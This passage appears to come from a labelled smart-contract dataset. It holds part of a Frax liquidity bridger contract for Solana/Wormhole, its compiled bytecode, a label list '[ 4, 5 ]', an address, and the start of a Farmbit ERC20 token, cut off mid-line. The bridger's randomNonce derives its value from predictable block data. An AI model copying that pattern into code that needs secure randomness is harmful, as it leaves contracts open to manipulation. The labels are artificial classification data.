address_to_send_to = address(this); if (destination_address_override != address(0)) address_to_send_to = destination_address_override; // Can be overridden _bridgingLogic(token_type, address_to_send_to, token_amount); // Account for the bridged balances if (token_type == 0){ frax_bridged += token_amount; } else if (token_type == 1){ fxs_bridged += token_amount; } else { collat_bridged += token_amount; } } // Meant to be overriden function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal virtual { revert("Need bridging logic"); } /* ========== Burns and givebacks ========== */ // Burn unneeded or excess FRAX. Goes through the minter function burnFRAX(uint256 frax_amount) public onlyByOwnGov { FRAX.approve(amo_minter_address, frax_amount); amo_minter.burnFraxFromAMO(frax_amount); // Update the balance after the transfer goes through if (frax_amount >= frax_bridged) frax_bridged = 0; else { frax_bridged -= frax_amount; } } // Burn unneeded or excess FXS. Goes through the minter function burnFXS(uint256 fxs_amount) public onlyByOwnGov { FXS.approve(amo_minter_address, fxs_amount); amo_minter.burnFxsFromAMO(fxs_amount); // Update the balance after the transfer goes through if (fxs_amount >= fxs_bridged) fxs_bridged = 0; else { fxs_bridged -= fxs_amount; } } // Give collat profits back. Goes through the minter function giveCollatBack(uint256 collat_amount) external onlyByOwnGov { collateral_token.approve(amo_minter_address, collat_amount); amo_minter.receiveCollatFromAMO(collat_amount); // Update the balance after the transfer goes through if (collat_amount >= collat_bridged) collat_bridged = 0; else { collat_bridged -= collat_amount; } } /* ========== RESTRICTED FUNCTIONS - Owner or timelock only ========== */ function setTimelock(address _new_timelock) external onlyByOwnGov { timelock_address = _new_timelock; } function setBridgeInfo( address _frax_bridge_address, address _fxs_bridge_address, address _collateral_bridge_address, address _destination_address_override, string memory _non_evm_destination_address ) external onlyByOwnGov { // Make sure there are valid bridges require( _frax_bridge_address != address(0) && _fxs_bridge_address != address(0) && _collateral_bridge_address != address(0) , "Invalid bridge address"); // Set bridge addresses bridge_addresses = [_frax_bridge_address, _fxs_bridge_address, _collateral_bridge_address]; // Overridden cross-chain destination address destination_address_override = _destination_address_override; // Set bytes32 / non-EVM address on the other chain, if applicable non_evm_destination_address = _non_evm_destination_address; emit BridgeInfoChanged(_frax_bridge_address, _fxs_bridge_address, _collateral_bridge_address, _destination_address_override, _non_evm_destination_address); } function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } // Generic proxy function execute( address _to, uint256 _value, bytes calldata _data ) external onlyByOwnGov returns (bool, bytes memory) { (bool success, bytes memory result) = _to.call{value:_value}(_data); return (success, result); } /* ========== EVENTS ========== */ event RecoveredERC20(address token, uint256 amount); event BridgeInfoChanged(address frax_bridge_address, address fxs_bridge_address, address collateral_bridge_address, address destination_address_override, string non_evm_destination_address); } // File contracts/Misc_AMOs/solana/IBridgeImplementation.sol interface IBridgeImplementation { function WETH() external view returns (address); function attestToken(address tokenAddress, uint32 nonce) external returns (uint64 sequence); function bridgeContracts(uint16 chainId_) external view returns (bytes32); function chainId() external view returns (uint16); function completeTransfer(bytes calldata encodedVm) external; function completeTransferAndUnwrapETH(bytes calldata encodedVm) external; function createWrapped(bytes calldata encodedVm) external returns (address token); // function encodeAssetMeta(tuple meta) external pure returns (bytes encoded); // function encodeTransfer(tuple transfer) external pure returns (bytes encoded); function governanceActionIsConsumed(bytes32 hash) external view returns (bool); function governanceChainId() external view returns (uint16); function governanceContract() external view returns (bytes32); function implementation() external view returns (address); function isInitialized(address impl) external view returns (bool); function isTransferCompleted(bytes32 hash) external view returns (bool); function isWrappedAsset(address token) external view returns (bool); function outstandingBridged(address token) external view returns (uint256); // function parseAssetMeta(bytes encoded) external pure returns (tuple meta); // function parseRegisterChain(bytes encoded) external pure returns (tuple chain); // function parseTransfer(bytes encoded) external pure returns (tuple transfer); // function parseUpgrade(bytes encoded) external pure returns (tuple chain); // function registerChain(bytes encodedVM) external; function tokenImplementation() external view returns (address); function transferTokens(address token, uint256 amount, uint16 recipientChain, bytes32 recipient, uint256 arbiterFee, uint32 nonce) external returns (uint64 sequence); // function updateWrapped(bytes encodedVm) external returns (address token); // function upgrade(bytes encodedVM) external; function wormhole() external view returns (address); function wrapAndTransferETH(uint16 recipientChain, bytes32 recipient, uint256 arbiterFee, uint32 nonce) external returns (uint64 sequence); function wrappedAsset(uint16 tokenChainId, bytes32 tokenAddress) external view returns (address); } // File contracts/Bridges/Solana/FraxLiquidityBridger_SOL_WormholeV2.sol contract FraxLiquidityBridger_SOL_WormholeV2 is FraxLiquidityBridger { constructor ( address _owner, address _timelock_address, address _amo_minter_address, address[3] memory _bridge_addresses, address _destination_address_override, string memory _non_evm_destination_address, string memory _name ) FraxLiquidityBridger(_owner, _timelock_address, _amo_minter_address, _bridge_addresses, _destination_address_override, _non_evm_destination_address, _name) { // Set the original recipients base58_decoded_recipients[0] = 0xd768ac2f9a0a3af6f63af0c7a46f0de5fa43ed47c3d347fa4d3e36b791565037; base58_decoded_recipients[1] = 0x4f4a87fadc7ff3773291f99bcb3c8b6af1589f7a53d45df1aba52cab296a8381; base58_decoded_recipients[2] = 0x2897b59dc1244c89aceccb85f053033b9801be362d90f4871040727274f79bd8; } // The Horizon bridge requires some ONE to cover ETHEREUM gas costs for the HARMONY -> ETHEREUM bridge bytes32[3] public base58_decoded_recipients; function setBase58DecodedRecipients(bytes32[3] memory _base58_decoded_recipients) external onlyByOwnGov { base58_decoded_recipients = _base58_decoded_recipients; } function randomNonce() public view returns(uint32) { uint256 seed = uint256(keccak256(abi.encodePacked( block.timestamp + block.difficulty + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (block.timestamp)) + block.number ))); return uint32(seed - ((seed / 9999999999) * 9999999999)); } // Override with logic specific to this chain function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal override { // [Solana] // Bridge V2 is 0x3ee18B2214AFF97000D974cf647E7C347E8fa585 // https://etherscan.io/tx/0xab7e1f1c234ff4305a00dd3b29338c1b9287ac98e4fabc9e5417c1dbbcedc11b address bridgeable_token_address; if (token_type == 0){ // L1 FRAX -> polyFRAX // Polygon Bridge bridgeable_token_address = address(FRAX); } else if (token_type == 1) { // L1 FXS -> polyFXS // Polygon Bridge bridgeable_token_address = address(FXS); } else { // L1 USDC -> polyUSDC // Polygon Bridge bridgeable_token_address = collateral_address; } // Approve first ERC20(bridgeable_token_address).approve(bridge_addresses[token_type], token_amount); // 1) Take the destination token account address (NOT the wallet account address). You can see it here https://solanabeach.io/address/<WALLET ADDRESS HERE>/tokens?display=advanced // 2) Go here and decode https://www.appdevtools.com/base58-encoder-decoder. Treat output as hex // 3) Prepend "0x" // 4) Result is what _non_evm_destination_address should be // 5) Example: 8j9SUvwDE4gXjgJuooVNcNB5aZV3w7JiL6YALa5CYF1U's wFRAX_V2 token account address is FVsEDz8aesnfX6i4jAY1m738uPZzmLWhCQkyZwfToydY // Base58 decode is d768ac2f9a0a3af6f63af0c7a46f0de5fa43ed47c3d347fa4d3e36b791565037. Prepend 0x, so 0xd768ac2f9a0a3af6f63af0c7a46f0de5fa43ed47c3d347fa4d3e36b791565037 // Alternatively, manually set the recipient decoded base58 hex // Make sure to do recovery manually after 15 confirmations // https://wormholebridge.com/#/transfer IBridgeImplementation(bridge_addresses[token_type]).transferTokens( bridgeable_token_address, token_amount, 1, base58_decoded_recipients[token_type], 0, randomNonce() ); } }
0x608060405234801561001057600080fd5b50600436106102415760003560e01c80637e34026e11610145578063b703ac27116100bd578063d7bf38051161008c578063e51071a111610071578063e51071a114610538578063e9967ee114610541578063fddc81a81461055457600080fd5b8063d7bf3805146104f8578063dc6663c71461051857600080fd5b8063b703ac271461049f578063bdacb303146104bf578063c0c32e49146104d2578063c3de453d146104e557600080fd5b806393272baf11610114578063b0e4556f116100f9578063b0e4556f14610455578063b3c04afe14610475578063b61d27f61461047e57600080fd5b806393272baf14610425578063a4c3e73c1461043857600080fd5b80637e34026e146103d45780638980f11f146103e95780638b443396146103fc5780638da5cb5b1461040557600080fd5b806320db4684116101d85780633ed4e55c116101a757806353a47bb71161018c57806353a47bb714610397578063640ff7a9146103b757806379ba5097146103cc57600080fd5b80633ed4e55c14610386578063408e63bf1461038f57600080fd5b806320db46841461032357806323fbd1c7146103365780632621db2f1461034957806339988a551461036957600080fd5b80631627540c116102145780631627540c146102a357806317284c94146102b65780631eaa0e17146102be578063200ea2221461030357600080fd5b806302825d111461024657806306fdde031461025b57806311e388a91461027957806314af338014610290575b600080fd5b610259610254366004612402565b610567565b005b61026361076d565b60405161027091906125a5565b60405180910390f35b61028260115481565b604051908152602001610270565b61025961029e366004612402565b6107fb565b6102596102b1366004612198565b6109f6565b610282610b16565b6008546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610270565b6003546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b6102de610331366004612402565b610b28565b610259610344366004612402565b610b55565b6004546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b610371610d4e565b60405163ffffffff9091168152602001610270565b61028260135481565b610263610ead565b6001546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b6103bf610eba565b604051610270919061255a565b6102596110b5565b6103dc611200565b6040516102709190612528565b6102596103f73660046122a9565b6112cb565b61028260095481565b6000546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b610282610433366004612198565b6113e6565b6104406114cc565b60408051928352602083019190915201610270565b6002546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b61028260105481565b61049161048c3660046122d3565b6115c9565b604051610270929190612582565b600e546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b6102596104cd366004612198565b6116ed565b6102596104e036600461235a565b6117d7565b6102596104f33660046122a9565b61188b565b6005546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b600a546102de9073ffffffffffffffffffffffffffffffffffffffff1681565b61028260125481565b61025961054f3660046121b3565b6119dd565b610282610562366004612402565b611c1f565b60005473ffffffffffffffffffffffffffffffffffffffff163314806105a45750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b61060f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b000000000000000000000060448201526064015b60405180910390fd5b6003546007546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff91821660048201526024810184905291169063095ea7b390604401602060405180830381600087803b15801561068557600080fd5b505af1158015610699573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bd91906123e0565b506005546040517fe5d47fe00000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff9091169063e5d47fe090602401600060405180830381600087803b15801561072a57600080fd5b505af115801561073e573d6000803e3d6000fd5b50505050601154811061075357600060115550565b806011600082825461076591906127c0565b909155505050565b6006805461077a90612803565b80601f01602080910402602001604051908101604052809291908181526020018280546107a690612803565b80156107f35780601f106107c8576101008083540402835291602001916107f3565b820191906000526020600020905b8154815290600101906020018083116107d657829003601f168201915b505050505081565b60005473ffffffffffffffffffffffffffffffffffffffff163314806108385750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b61089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b600480546007546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9182169381019390935260248301849052169063095ea7b390604401602060405180830381600087803b15801561091657600080fd5b505af115801561092a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094e91906123e0565b506005546040517f26d9fc860000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff909116906326d9fc8690602401600060405180830381600087803b1580156109bb57600080fd5b505af11580156109cf573d6000803e3d6000fd5b5050505060125481106109e457600060125550565b806012600082825461076591906127c0565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726660448201527f6f726d207468697320616374696f6e00000000000000000000000000000000006064820152608401610606565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040519081527f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229060200160405180910390a150565b600080610b216114cc565b9392505050565b600b8160038110610b3857600080fd5b015473ffffffffffffffffffffffffffffffffffffffff16905081565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610b925750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b610bf8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b6002546007546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff91821660048201526024810184905291169063095ea7b390604401602060405180830381600087803b158015610c6e57600080fd5b505af1158015610c82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca691906123e0565b506005546040517f70c594750000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff909116906370c5947590602401600060405180830381600087803b158015610d1357600080fd5b505af1158015610d27573d6000803e3d6000fd5b505050506010548110610d3c57600060105550565b806010600082825461076591906127c0565b6040517fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003360601b1660208201526000908190439042906034016040516020818303038152906040528051906020012060001c610dab919061261f565b6040517fffffffffffffffffffffffffffffffffffffffff0000000000000000000000004160601b166020820152459042906034016040516020818303038152906040528051906020012060001c610e03919061261f565b610e0d4442612607565b610e179190612607565b610e219190612607565b610e2b9190612607565b610e359190612607565b604051602001610e4791815260200190565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291905280516020909101209050610e8e6402540be3ff8261261f565b610e9d906402540be3ff612783565b610ea790826127c0565b91505090565b600f805461077a90612803565b610ec2611fff565b6002546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b158015610f2b57600080fd5b505afa158015610f3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f63919061241b565b81526003546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b158015610fce57600080fd5b505afa158015610fe2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611006919061241b565b6020820152600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152309281019290925273ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b15801561107557600080fd5b505afa158015611089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ad919061241b565b604082015290565b60015473ffffffffffffffffffffffffffffffffffffffff16331461115c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7560448201527f2063616e20616363657074206f776e65727368697000000000000000000000006064820152608401610606565b6000546001546040805173ffffffffffffffffffffffffffffffffffffffff93841681529290911660208301527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a160018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b61120861201d565b6000611212610eba565b80518084526010546020850181905291925061122e9190612607565b60408301526020810151606083018190526011546080840181905261125291612607565b60a083015260135461126590600a6126bb565b60408201516112749190612783565b60c083015260135461128790600a6126bb565b6012546112949190612783565b60e0830181905260c08301516112aa9190612607565b610100830181905260408301516112c19190612607565b6101208301525090565b60005473ffffffffffffffffffffffffffffffffffffffff163314806113085750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b61136e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b60005461139390839073ffffffffffffffffffffffffffffffffffffffff1683611c36565b6040805173ffffffffffffffffffffffffffffffffffffffff84168152602081018390527f55350610fe57096d8c0ffa30beede987326bccfcb0b4415804164d0dd50ce8b1910160405180910390a15050565b60025460009073ffffffffffffffffffffffffffffffffffffffff8381169116141561141457506000919050565b60035473ffffffffffffffffffffffffffffffffffffffff8381169116141561143f57506001919050565b60045473ffffffffffffffffffffffffffffffffffffffff8381169116141561146a57506002919050565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f676574546f6b656e547970653a20496e76616c696420746f6b656e00000000006044820152606401610606565b60008060006114d9611200565b90506000620f4240600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632eb9771b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561154957600080fd5b505afa15801561155d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611581919061241b565b60408401516115909190612783565b61159a919061261f565b6101008301516040840151919250906115b4908290612607565b94506115c08282612607565b93505050509091565b6000805460609073ffffffffffffffffffffffffffffffffffffffff1633148061160a5750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b611670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b6000808773ffffffffffffffffffffffffffffffffffffffff1687878760405161169b9291906124a8565b60006040518083038185875af1925050503d80600081146116d8576040519150601f19603f3d011682016040523d82523d6000602084013e6116dd565b606091505b5090999098509650505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061172a5750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b611790576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314806118145750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b61187a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b611887601482600361203c565b5050565b60005473ffffffffffffffffffffffffffffffffffffffff163314806118c85750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b61192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b6000611939836113e6565b600e54909150309073ffffffffffffffffffffffffffffffffffffffff16156119775750600e5473ffffffffffffffffffffffffffffffffffffffff165b611982828285611da6565b816119a45782601060008282546119999190612607565b909155506119d79050565b81600114156119bf5782601160008282546119999190612607565b82601260008282546119d19190612607565b90915550505b50505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611a1a5750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b611a80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610606565b73ffffffffffffffffffffffffffffffffffffffff851615801590611aba575073ffffffffffffffffffffffffffffffffffffffff841615155b8015611adb575073ffffffffffffffffffffffffffffffffffffffff831615155b611b41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c6964206272696467652061646472657373000000000000000000006044820152606401610606565b6040805160608101825273ffffffffffffffffffffffffffffffffffffffff80881682528681166020830152851691810191909152611b8490600b90600361207a565b50600e80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84161790558051611bd890600f9060208401906120e7565b507f2416e445d0e4d663ba206f921f8fd828f602f9a2b047e891e48ad0db5bbbf2f28585858585604051611c109594939291906124d4565b60405180910390a15050505050565b60148160038110611c2f57600080fd5b0154905081565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790529151600092839290871691611ccd91906124b8565b6000604051808303816000865af19150503d8060008114611d0a576040519150601f19603f3d011682016040523d82523d6000602084013e611d0f565b606091505b5091509150818015611d39575080511580611d39575080806020019051810190611d3991906123e0565b611d9f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610606565b5050505050565b600083611dcc575060025473ffffffffffffffffffffffffffffffffffffffff16611e0f565b8360011415611df4575060035473ffffffffffffffffffffffffffffffffffffffff16611e0f565b5060085473ffffffffffffffffffffffffffffffffffffffff165b8073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b8660038110611e3e57611e3e612886565b015460405160e083901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff909116600482015260248101859052604401602060405180830381600087803b158015611ead57600080fd5b505af1158015611ec1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee591906123e0565b50600b8460038110611ef957611ef9612886565b015473ffffffffffffffffffffffffffffffffffffffff16630f5287b08284600160148960038110611f2d57611f2d612886565b01546000611f39610d4e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e089901b16815273ffffffffffffffffffffffffffffffffffffffff9096166004870152602486019490945261ffff90921660448501526064840152608483015263ffffffff1660a482015260c401602060405180830381600087803b158015611fc757600080fd5b505af1158015611fdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9f9190612434565b60405180606001604052806003906020820280368337509192915050565b604051806101400160405280600a906020820280368337509192915050565b826003810192821561206a579160200282015b8281111561206a57825182559160200191906001019061204f565b5061207692915061215a565b5090565b826003810192821561206a579160200282015b8281111561206a57825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90911617825560209092019160019091019061208d565b8280546120f390612803565b90600052602060002090601f016020900481019282612115576000855561206a565b82601f1061212e57805160ff191683800117855561206a565b8280016001018555821561206a579182018281111561206a57825182559160200191906001019061204f565b5b80821115612076576000815560010161215b565b803573ffffffffffffffffffffffffffffffffffffffff8116811461219357600080fd5b919050565b6000602082840312156121aa57600080fd5b610b218261216f565b600080600080600060a086880312156121cb57600080fd5b6121d48661216f565b945060206121e381880161216f565b94506121f16040880161216f565b93506121ff6060880161216f565b9250608087013567ffffffffffffffff8082111561221c57600080fd5b818901915089601f83011261223057600080fd5b813581811115612242576122426128b5565b612272847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116016125b8565b91508082528a8482850101111561228857600080fd5b80848401858401376000848284010152508093505050509295509295909350565b600080604083850312156122bc57600080fd5b6122c58361216f565b946020939093013593505050565b600080600080606085870312156122e957600080fd5b6122f28561216f565b935060208501359250604085013567ffffffffffffffff8082111561231657600080fd5b818701915087601f83011261232a57600080fd5b81358181111561233957600080fd5b88602082850101111561234b57600080fd5b95989497505060200194505050565b60006060828403121561236c57600080fd5b82601f83011261237b57600080fd5b6040516060810181811067ffffffffffffffff8211171561239e5761239e6128b5565b6040528083606081018610156123b357600080fd5b60005b60038110156123d55781358352602092830192909101906001016123b6565b509195945050505050565b6000602082840312156123f257600080fd5b81518015158114610b2157600080fd5b60006020828403121561241457600080fd5b5035919050565b60006020828403121561242d57600080fd5b5051919050565b60006020828403121561244657600080fd5b815167ffffffffffffffff81168114610b2157600080fd5b600081518084526124768160208601602086016127d7565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b8183823760009101908152919050565b600082516124ca8184602087016127d7565b9190910192915050565b600073ffffffffffffffffffffffffffffffffffffffff80881683528087166020840152808616604084015280851660608401525060a0608083015261251d60a083018461245e565b979650505050505050565b6101408101818360005b600a811015612551578151835260209283019290910190600101612532565b50505092915050565b60608101818360005b6003811015612551578151835260209283019290910190600101612563565b821515815260406020820152600061259d604083018461245e565b949350505050565b602081526000610b21602083018461245e565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156125ff576125ff6128b5565b604052919050565b6000821982111561261a5761261a612857565b500190565b600082612655577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600181815b808511156126b357817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561269957612699612857565b808516156126a657918102915b93841c939080029061265f565b509250929050565b6000610b2183836000826126d15750600161277d565b816126de5750600061277d565b81600181146126f457600281146126fe5761271a565b600191505061277d565b60ff84111561270f5761270f612857565b50506001821b61277d565b5060208310610133831016604e8410600b841016171561273d575081810a61277d565b612747838361265a565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561277957612779612857565b0290505b92915050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127bb576127bb612857565b500290565b6000828210156127d2576127d2612857565b500390565b60005b838110156127f25781810151838201526020016127da565b838111156119d75750506000910152565b600181811c9082168061281757607f821691505b60208210811415612851577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea26469706673582212202c5c38352c57c689cdea7e6ed2ad2a37af510434c07639c34a6312cd4ee3a41264736f6c63430008060033
[ 4, 5 ]
0xf3a28a1906e3acb885e6ceedc50774ab262d5b85
// ---------------------------------------------------------------------------- // Farmbit Contract // Name : Farmbit // Symbol : FARM // Decimals : 18 // InitialSupply : 900,000,000 FARM // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract Farmbit is ERC20 { string public constant name = "Farmbit"; string public constant symbol = "FARM"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 900000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused 